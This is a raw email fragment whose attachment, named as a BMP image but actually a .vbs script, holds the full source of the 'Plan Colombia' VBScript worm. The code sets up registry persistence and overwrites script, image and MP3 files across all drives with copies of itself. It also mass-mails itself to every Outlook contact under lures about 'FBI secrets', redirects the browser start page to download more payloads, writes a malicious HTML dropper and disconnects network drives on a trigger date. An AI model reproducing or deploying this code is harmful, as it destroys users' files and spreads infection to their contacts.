------=_NextPart_000_000B_01C03441.EBE2C5C0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
CITERESIIO
------=_NextPart_000_000B_01C03441.EBE2C5C0
Content-Type: application/octet-stream;
name="GOIULUH.BMP.vbs"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="GOIULUH.BMP.vbs"
rem =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
rem "Plan Colombia" virus v1.0
rem by Sand Ja9e Gr0w (www.colombia.com)
rem Dedicated to all the people that want to be hackers or crackers, in =
Colombia =20
rem This program is also a protest act against the violence and =
corruption that Colombia lives...
rem I always wanting that all this finishes, I have said...
rem Santa fe de Bogot=E1 2000/09
rem I dedicate to all you the song "GoodBye" of Andreas Bochelli
rem =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
rem Thanks God..!
rem A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1"
rem A greeting for "Tizo" from "Spain"
rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY"
rem okay, ok...=20
rem my baby start here...
=20
On Error Resume Next
dim =
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye
eq=3D""
ctr=3D0
randomize
numero =3D Int(Rnd * 3) + 1
polye =3D ".GIF.vbs"
If numero =3D 1 Then
polye =3D ".BMP.vbs"
Else
If numero =3D 2 Then
polye =3D ".JPG.vbs"
End If
End If
polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye
Set fso =3D CreateObject("Scripting.FileSystemObject")
set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=3Dfile.ReadAll
main()
If Day(Now) =3D 17 And Month(Now) =3D 9 Then
MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & =
Chr(13) & "Att. " & polyname(5) & " (M.H.M. TEAM)"
killnet()
End If
sub main()
On Error Resume Next
dim wscr,rr
set wscr=3DCreateObject("WScript.Shell")
rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
Scripting Host\Settings\Timeout")
if (rr>=3D1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin =3D fso.GetSpecialFolder(0)
Set dirsystem =3D fso.GetSpecialFolder(1)
Set dirtemp =3D fso.GetSpecialFolder(2)
Set c =3D fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\LINUX32.vbs")
c.Copy(dirwin&"\reload.vbs")
c.Copy(dirsystem&polyn)
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread,res
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX32=
",dirsystem&"\LINUX32.vbs"
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices=
\reload",dirwin&"\reload.vbs"
downread=3D""
downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Download Directory")
if (downread=3D"") then
downread=3D"c:\"
end if
rem acepta nombres largos..?
if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then
Randomize
Randomize
num =3D Int((4 * Rnd) + 1)
rem fatal =3D> send virii
if num =3D 2 then=20
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/macromedia32.zip"
else
rem oh,, a picture.. nice :) =20
if num =3D 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux321.zip" =20
else
rem oh,, other picture =3D:()
if num =3D 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux322.zip"
end if=20
end if =20
end if
end if
if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then
res =3D Shell("copy " & downread & "\MACROMEDIA32.zip " & dirwin & =
"\important_note.txt", vbHide)
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan =
colombia",dirwin&"\important_note.txt"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"
else
if (fileexist(downread&"\linux321.zip")=3D0) then
Kill (dirwin & "\logos.sys")
res =3D Shell("copy " & downread & "\linux321.zip " & dirwin & =
"\logos.sys", vbHide)
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank" =20
else
if (fileexist(downread&"\linux322.zip")=3D0) then
Kill (dirwin & "\logow.sys")
res =3D Shell("copy " & downread & "\linux322.zip " & dirwin & =
"\logow.sys", vbHide) =20
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank" =20
end if =20
end if
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc =3D fso.Drives
For Each d in dc
If d.DriveType =3D 2 or d.DriveType=3D3 Then
folderlist(d.path&"\")
end if
Next
listadriv =3D s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f =3D fso.GetFolder(folderspec)
set fc =3D f.Files
for each f1 in fc
ext=3Dfso.GetExtensionName(f1.path)
ext=3Dlcase(ext)
s=3Dlcase(f1.name)
if (ext=3D"vbs") or (ext=3D"vbe") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
else
if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or =
(ext=3D"sct") or (ext=3D"hta") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=3Dfso.GetBaseName(f1.path)
set cop=3Dfso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path) =20
else
if(ext=3D"jpg") or (ext=3D"jpeg") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=3Dfso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path) =20
else
if(ext=3D"mp3") or (ext=3D"mp2") then
set mp3=3Dfso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=3Dfso.GetFile(f1.path)
att.attributes=3Datt.attributes+2
end if
end if
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f =3D fso.GetFolder(folderspec)
set sf =3D f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit =3D CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit =3D CreateObject("WScript.Shell")
regget=3Dregedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg =3D 0
else
msg =3D 1
end if
fileexist =3D msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg =3D 0
else
msg =3D 1
end if
fileexist =3D msg
end function
sub spreadtoemail()
On Error Resume Next
dim =
x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod
set regedit=3DCreateObject("WScript.Shell")
set out=3DWScript.CreateObject("Outlook.Application")
set mapi=3Dout.GetNameSpace("MAPI")
Randomize
numero =3D Int(Rnd * 3) + 1
textosub =3D ""
If numero =3D 1 Then
textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> =
(http://WWW.2600.COM)<=3D"
Else
If numero =3D 2 Then
textosub =3D polyname(6)
End If
End If
Randomize
numero =3D Int(Rnd * 3) + 1
textobod =3D ""
If numero =3D 1 Then
textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET =
PICTURES.."
Else
If numero =3D 2 Then
textobod =3D polyname(10)
End If
End If
for ctrlists=3D1 to mapi.AddressLists.Count
set a=3Dmapi.AddressLists(ctrlists)
x=3D1
regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv=3D"") then
regv=3D1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
=20
for ctrentries=3D1 to a.AddressEntries.Count
correoad=3Da.AddressEntries(x)
regad=3D""
=
regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corre=
oad)
if (regad=3D"") then
set correo=3Dout.CreateItem(0)
correo.Recipients.Add(correoad)
correo.Subject =3D textosub
correo.Body =3D vbcrlf&textobod
correo.Attachments.Add(dirsystem&polyn)
correo.Send
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD"
end if
x=3Dx+1
next
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=3DNothing
Set mapi=3DNothing
end sub
Function polyname(n)
Dim i, vector, texto, pos
on error resume next
rem polyformic ( ohhhh yeahhh...) very good polyformic engine :() by =
Sand Ja9e Gr0w
vector =3D Array("A", "E", "I", "O", "U")
texto =3D ""
Randomize
For i =3D 1 To n
Randomize
rem consonante
texto =3D texto&Chr(Int((Rnd * 25) + 65))
i =3D i + 1
If i > n Then
exit for
end if
rem vocal
texto =3D texto&vector(Int((Rnd * 4) + 1))
Randomize
Next
polyname =3D texto
End Function
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1=3D"<HTML><HEAD>"&_
"<?-?HEAD><BODY =
ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND-=
FBI-SECRETS.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#US-PRESIDENT-AND-=
FBI-SECRETS.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ =
BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>M.H.M TEAM <?-?p><p>Colombia<BR>- Please press #-#YES#-# =
button for see secret pictures<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ BGCOLOR=3D@-@yellow@-@>Hello =
Colombia...! Since Here, after, since other part of World..<?-?MARQUEE> =
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=3Dscreen.availWidth;var =
hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcr=
lf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=3D1"&vbcrlf& _
"code=3D"
dta2=3D"set =
fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _
"code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=3Dfso.CreateTextFile(dirsystem&@-@^-^LINUX32.vbs@-@)"&vbcrlf& =
_
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^LINUX32.vbs@-@)) then"&vbcrlf& _
"if (err.number=3D424) then"&vbcrlf& _
"aw=3D0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=3D1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t load Pictures. IE internal =
Error@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite =
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-=
^Run^-^LINUX32@-@,dirsystem&@-@^-^LINUX32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=3DCreateObject("Scripting.FileSystemObject")
set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)
lines=3DSplit(c.ReadAll,vbcrlf)
l1=3Dubound(lines)
for n=3D0 to ubound(lines)
lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=3Dn) then
lines(n)=3Dchr(34)+lines(n)+chr(34)
else
lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set =
b=3Dfso.CreateTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM")
b.close
set =
d=3Dfso.OpenTextFile(dirsystem+"\US-PRESIDENT-AND-FBI-SECRETS.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
sub killnet()
Dim intDrive,strDrive,WSHNetwork
on error resume next
Set WSHNetwork =3D WScript.CreateObject("WScript.Network")
For intDrive =3D 26 To 5 Step -1 =20
strDrive =3D Chr(intDrive + 64) & ":" =20
WSHNetwork.RemoveNetworkDrive strDrive
Next
rem bye net connection ... :-(
Set WSHNetwork=3DNothing
end sub
------=_NextPart_000_000B_01C03441.EBE2C5C0--